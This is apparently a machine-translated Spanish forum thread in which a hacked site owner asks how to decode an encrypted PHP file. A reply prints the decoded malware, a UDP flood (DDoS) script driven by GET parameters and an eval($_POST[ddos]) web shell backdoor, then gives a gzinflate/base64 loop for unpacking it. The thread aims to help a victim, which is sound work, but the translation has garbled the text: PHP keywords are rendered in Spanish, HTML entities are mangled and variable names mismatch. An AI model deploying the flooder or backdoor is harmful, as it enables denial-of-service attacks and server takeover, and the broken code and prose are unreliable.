El sitio web asp fue pirateado y quedó un archivo de código de cifrado php como este. Por favor, resuélvalo.

Primero que nada, hablemos del primer piso. Si respondes sin pensar, solo está ocupando espacio.

Propietario, lo he descifrado para ti: gt;lt; ?php

$paquetes = 0;

$ip = $_GET['ip'];

$rand = $_GET['puerto'];

set_time_limit(0);

ignore_user_abort(FALSE);

$exec_time = $_GET['time'];

$ time = time() ;

imprimir "Inundado: $ip en el puerto $rand lt;brgt;lt;brgt;";

$max_time = $time $exec_time;

for($i=0;$ilt;65535;$i){

$out .= "X";

}

mientras(1) {

$paquetes;

if(time() gt; $max_time){

descanso;

}

$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

if($fp){

fwrite ($fp, $out);

fclose($fp);

}

}

echo "Paquete completo en " .time('h:i:s')." con $paquetes (" . round(($packets*65)/1024, 2). " mB) paquetes promediando round($packets/. $exec_time, 2) . " paquetes/s \n"; gt;

lt;?php eval($_POST[ddos])?gt;

lt;?

Proceso de descifrado:

decode.php

lt;?php

ob_start();

echo (gzinflate (base64_decode('Contenido cifrado')));

$file = ob_get_clean();

file_put_contents("a.txt",$file;

);

1. Cuando se ejecuta por primera vez, se generará un.txt en el mismo directorio que decode.php y el contenido que contiene se descifra (pero no necesariamente el resultado final)

2. Cuando el código en a.txt no es el código fuente del texto cifrado original, copie el "contenido cifrado" en a.txt a decode.php nuevamente para reemplazar el contenido cifrado original

Recorrido en bucle. pasos 1 y 2 hasta que se descifre un.txt. Se muestra el código fuente y el código mostrado es código PHP, como se indica arriba.

Verifique si el código fuente es correcto, siempre y cuando comprenda el mensaje de error. se muestra en la página web cuando se ejecuta antes del descifrado, puede comparar si es verdadero o no